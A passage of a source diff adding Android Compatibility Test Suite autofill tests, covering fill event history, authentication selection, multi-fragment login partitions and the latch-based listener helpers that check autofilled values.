+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setId("name")
+                        .setPresentation(createPresentation("authentication"))
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(clientState).build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Authenticate
+        sUiBot.selectDataset("authentication");
+        sReplier.getNextFillRequest();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                    "clientStateValue");
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
+            assertThat(event.getDatasetId()).isEqualTo("name");
+        });
+    }
+
+    @Test
+    public void checkFillSelectionAfterSelectingAuthentication() throws Exception {
+        enableService();
+
+        // Set up FillResponse with response wide authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "username")
+                                .setId("name")
+                                .setPresentation(createPresentation("dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+                .setPresentation(createPresentation("authentication"))
+                .setAuthentication(authentication, ID_USERNAME)
+                .build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Authenticate
+        sUiBot.selectDataset("authentication");
+        sReplier.getNextFillRequest();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                    "clientStateValue");
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_AUTHENTICATION_SELECTED);
+            assertThat(event.getDatasetId()).isNull();
+        });
+    }
+
+    @Test
+    public void checkFillSelectionAfterSelectingTwoDatasets() throws Exception {
+        enableService();
+
+        // Set up first partition with an anonymous dataset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.selectDataset("dataset1");
+        sReplier.getNextFillRequest();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState()).isNull();
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event.getDatasetId()).isNull();
+        });
+
+        // Set up second partition with a named dataset
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password2")
+                                .setPresentation(createPresentation("dataset2"))
+                                .setId("name2")
+                                .build())
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password3")
+                                .setPresentation(createPresentation("dataset3"))
+                                .setId("name3")
+                                .build())
+                .setExtras(clientState)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+
+        // Trigger autofill on password
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("dataset3");
+        sReplier.getNextFillRequest();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                    "clientStateValue");
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event.getDatasetId()).isEqualTo("name3");
+        });
+
+        mActivity.onPassword((v) -> v.setText("new password"));
+        mActivity.syncRunOnUiThread(() -> mActivity.finish());
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                    "clientStateValue");
+
+            assertThat(selection.getEvents().size()).isEqualTo(2);
+            FillEventHistory.Event event1 = selection.getEvents().get(0);
+            assertThat(event1.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event1.getDatasetId()).isEqualTo("name3");
+
+            FillEventHistory.Event event2 = selection.getEvents().get(1);
+            assertThat(event2.getType()).isEqualTo(TYPE_SAVE_SHOWN);
+            assertThat(event2.getDatasetId()).isNull();
+        });
+    }
+
+    @Test
+    public void checkFillSelectionIsResetAfterReturningNull() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState()).isNull();
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event.getDatasetId()).isNull();
+        });
+
+        // Second request
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        });
+    }
+
+    @Test
+    public void checkFillSelectionIsResetAfterReturningError() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState()).isNull();
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event.getDatasetId()).isNull();
+        });
+
+        // Second request
+        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        });
+    }
+
+    @Test
+    public void checkFillSelectionIsResetAfterTimeout() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection.getClientState()).isNull();
+
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_SELECTED);
+            assertThat(event.getDatasetId()).isNull();
+        });
+
+        // Second request
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        eventually(() -> {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        });
+    }
+
+    private Bundle getBundle(String key, String value) {
+        final Bundle bundle = new Bundle();
+        bundle.putString(key, value);
+        return bundle;
+    }
+
+    /**
+     * Tests the following scenario:
+     *
+     * <ol>
+     *    <li>Activity A is launched.
+     *    <li>Activity A triggers autofill.
+     *    <li>Activity B is launched.
+     *    <li>Activity B triggers autofill.
+     *    <li>User goes back to Activity A.
+     *    <li>User triggers save on Activity A - at this point, service should have stats of
+     *        activity B, and stats for activity A should have beeen discarded.
+     * </ol>
+     */
+    @Test
+    public void checkFillSelectionFromPreviousSessionIsDiscarded() throws Exception {
+        enableService();
+
+        // Launch activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on activity A
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity A
+        FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertThat(selectionA.getClientState().getString("activity")).isEqualTo("A");
+        assertThat(selectionA.getEvents()).isNull();
+
+        // Launch activity B
+        getContext().startActivity(new Intent(getContext(), CheckoutActivity.class));
+
+        // Trigger autofill on activity B
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "B"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_CC_NUMBER, "4815162342")
+                        .setPresentation(createPresentation("datasetB"))
+                        .build())
+                .build());
+        sUiBot.focusByRelativeId(ID_CC_NUMBER);
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity B
+        final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertThat(selectionB.getClientState().getString("activity")).isEqualTo("B");
+        assertThat(selectionB.getEvents()).isNull();
+
+        // Now switch back to A...
+        sUiBot.pressBack(); // dismiss keyboard
+        sUiBot.pressBack(); // dismiss task
+        // ...and trigger save
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Finally, make sure history is right
+        final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertThat(finalSelection.getClientState().getString("activity")).isEqualTo("B");
+        assertThat(finalSelection.getEvents()).isNull();
+
+    }
+
+    @Test
+    public void testIsServiceEnabled() throws Exception {
+        disableService();
+        final AutofillManager afm = mActivity.getAutofillManager();
+        assertThat(afm.hasEnabledAutofillServices()).isFalse();
+        try {
+            enableService();
+            assertThat(afm.hasEnabledAutofillServices()).isTrue();
+        } finally {
+            disableService();
+        }
+    }
+
+    @Test
+    public void testSetupComplete() throws Exception {
+        enableService();
+
+        // Sanity check.
+        final AutofillManager afm = mActivity.getAutofillManager();
+        assertThat(afm.isEnabled()).isTrue();
+
+        // Now disable user_complete and try again.
+        try {
+            setUserComplete(getContext(), false);
+            assertThat(afm.isEnabled()).isFalse();
+        } finally {
+            setUserComplete(getContext(), true);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
new file mode 100644
index 0000000..026cf08
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.assist.AssistStructure;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.view.autofill.AutofillManager;
+
+/**
+ * An activity that authenticates on button press
+ */
+public class ManualAuthenticationActivity extends Activity {
+    private static CannedFillResponse sResponse;
+    private static CannedFillResponse.CannedDataset sDataset;
+
+    public static void setResponse(CannedFillResponse response) {
+        sResponse = response;
+        sDataset = null;
+    }
+
+    public static void setDataset(CannedFillResponse.CannedDataset dataset) {
+        sDataset = dataset;
+        sResponse = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.single_button_activity);
+
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            AssistStructure structure = getIntent().getParcelableExtra(
+                    AutofillManager.EXTRA_ASSIST_STRUCTURE);
+            if (structure != null) {
+                Parcelable result;
+                if (sResponse != null) {
+                    result = sResponse.asFillResponse(
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else if (sDataset != null) {
+                    result = sDataset.asDataset(
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else {
+                    throw new IllegalStateException("no dataset or response");
+                }
+
+                // Pass on the auth result
+                Intent intent = new Intent();
+                intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+                setResult(RESULT_OK, intent);
+            }
+
+            // Done
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
new file mode 100644
index 0000000..ac7ae34
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.eventually;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.os.Bundle;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class MultipleFragmentLoginTest extends AutoFillServiceTestCase {
+    private static final String LOG_TAG = MultipleFragmentLoginTest.class.getSimpleName();
+    @Rule
+    public final ActivityTestRule<FragmentContainerActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentContainerActivity.class);
+    private FragmentContainerActivity mActivity;
+    private EditText mEditText1;
+    private EditText mEditText2;
+
+    @Before
+    public void init() {
+        mActivity = mActivityRule.getActivity();
+        mEditText1 = mActivity.findViewById(R.id.editText1);
+        mEditText2 = mActivity.findViewById(R.id.editText2);
+    }
+
+    @Test
+    public void loginOnTwoFragments() throws Exception {
+        enableService();
+
+        Bundle clientState = new Bundle();
+        clientState.putString("key", "value1");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "editText1-autofilled")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setExtras(clientState)
+                .build());
+
+        final InstrumentedAutoFillService.FillRequest[] fillRequest =
+                new InstrumentedAutoFillService.FillRequest[1];
+
+        // Trigger autofill
+        eventually(() -> {
+            mActivity.syncRunOnUiThread(() -> {
+                mEditText2.requestFocus();
+                mEditText1.requestFocus();
+            });
+
+            try {
+                fillRequest[0] = sReplier.getNextFillRequest();
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }, (int) (FILL_TIMEOUT_MS * 2));
+
+        assertThat(fillRequest[0].data).isNull();
+
+        AssistStructure structure = fillRequest[0].contexts.get(0).getStructure();
+        assertThat(fillRequest[0].contexts.size()).isEqualTo(1);
+        assertThat(findNodeByResourceId(structure, "editText1")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText2")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText5")).isNull();
+
+        // Wait until autofill has been applied
+        sUiBot.selectDataset("dataset1");
+        sUiBot.assertShownByText("editText1-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> mEditText2.setText("editText2-manually-filled"));
+
+        // Replacing the fragment focused a previously unknown view which triggers a new
+        // partition
+        clientState.putString("key", "value2");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText3", "editText3-autofilled")
+                        .setField("editText4", "editText4-autofilled")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2", "editText5")
+                .setExtras(clientState)
+                .build());
+
+        Log.i(LOG_TAG, "Switching Fragments");
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        EditText editText5 = mActivity.findViewById(R.id.editText5);
+        fillRequest[0] = sReplier.getNextFillRequest();
+
+        // The fillRequest should have a fillContext for each partition. The first partition
+        // should be filled in
+        assertThat(fillRequest[0].contexts.size()).isEqualTo(2);
+
+        assertThat(fillRequest[0].data.getString("key")).isEqualTo("value1");
+
+        AssistStructure structure1 = fillRequest[0].contexts.get(0).getStructure();
+        ViewNode editText1Node = findNodeByResourceId(structure1, "editText1");
+        // The actual value in the structure is not updated in FillRequest-contexts, but the
+        // autofill value is. For text views in SaveRequest both are updated, but this is the
+        // only exception.
+        assertThat(editText1Node.getAutofillValue()).isEqualTo(
+                AutofillValue.forText("editText1-autofilled"));
+
+        ViewNode editText2Node = findNodeByResourceId(structure1, "editText2");
+        // Manually filled fields are not send to onFill. They appear in onSave if they are set
+        // as saveable fields.
+        assertThat(editText2Node.getText().toString()).isEqualTo("");
+
+        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
+
+        AssistStructure structure2 = fillRequest[0].contexts.get(1).getStructure();
+
+        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText3")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText4")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText5")).isNotNull();
+
+        // Wait until autofill has been applied
+        sUiBot.selectDataset("dataset2");
+        sUiBot.assertShownByText("editText3-autofilled");
+        sUiBot.assertShownByText("editText4-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
+
+        // Finish activity and save data
+        mActivity.finish();
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // The saveRequest should have a fillContext for each partition with all the data
+        InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        assertThat(saveRequest.data.getString("key")).isEqualTo("value2");
+
+        structure1 = saveRequest.contexts.get(0).getStructure();
+        editText1Node = findNodeByResourceId(structure1, "editText1");
+        assertThat(editText1Node.getText().toString()).isEqualTo("editText1-autofilled");
+
+        editText2Node = findNodeByResourceId(structure1, "editText2");
+        assertThat(editText2Node.getText().toString()).isEqualTo("editText2-manually-filled");
+
+        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
+
+        structure2 = saveRequest.contexts.get(1).getStructure();
+        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
+
+        ViewNode editText3Node = findNodeByResourceId(structure2, "editText3");
+        assertThat(editText3Node.getText().toString()).isEqualTo("editText3-autofilled");
+
+        ViewNode editText4Node = findNodeByResourceId(structure2, "editText4");
+        assertThat(editText4Node.getText().toString()).isEqualTo("editText4-autofilled");
+
+        ViewNode editText5Node = findNodeByResourceId(structure2, "editText5");
+        assertThat(editText5Node.getText().toString()).isEqualTo("editText5-manually-filled");
+    }
+
+    @Test
+    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(false);
+    }
+
+    @Test
+    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(true);
+    }
+
+    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "whatever")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build());
+        if (savable) {
+            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
+        }
+
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText2.requestFocus();
+            mEditText1.requestFocus();
+        });
+
+        // Check UI is shown, but don't select it.
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset1");
+
+        // Switch fragments
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        // Make sure UI is gone.
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+    }
+
+    // TODO: add similar tests for fragment with virtual view
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
new file mode 100644
index 0000000..b264a46
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final RadioGroup mRadioGroup;
+    private final int mExpected;
+
+    MultipleTimesRadioGroupListener(String name, int times, RadioGroup radioGroup,
+            int expectedAutoFilledValue) {
+        mName = name;
+        mRadioGroup = radioGroup;
+        mExpected = expectedAutoFilledValue;
+        mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        mLatch.countDown();
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT_MS, mName)
+            .that(set).isTrue();
+        final int actual = mRadioGroup.getAutofillValue().getListValue();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", mName)
+            .that(actual).isEqualTo(mExpected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
new file mode 100644
index 0000000..c928f31
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.util.Log;
+import android.widget.EditText;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was set multiple times.
+ */
+class MultipleTimesTextWatcher implements TextWatcher {
+    private static final String TAG = "MultipleTimesTextWatcher";
+
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final EditText mEditText;
+    private final CharSequence mExpected;
+
+    MultipleTimesTextWatcher(String name, int times, EditText editText,
+            CharSequence expectedAutofillValue) {
+        this.mName = name;
+        this.mEditText = editText;
+        this.mExpected = expectedAutofillValue;
+        this.mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        Log.v(TAG, "onTextChanged(" + mLatch.getCount() + "): " + mName + " = " + s);
+        mLatch.countDown();
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on EditText %s", FILL_TIMEOUT_MS, mName)
+                .that(set).isTrue();
+        final String actual = mEditText.getText().toString();
+        assertWithMessage("Wrong auto-fill value on EditText %s", mName)
+                .that(actual).isEqualTo(mExpected.toString());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
new file mode 100644
index 0000000..1aed119
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
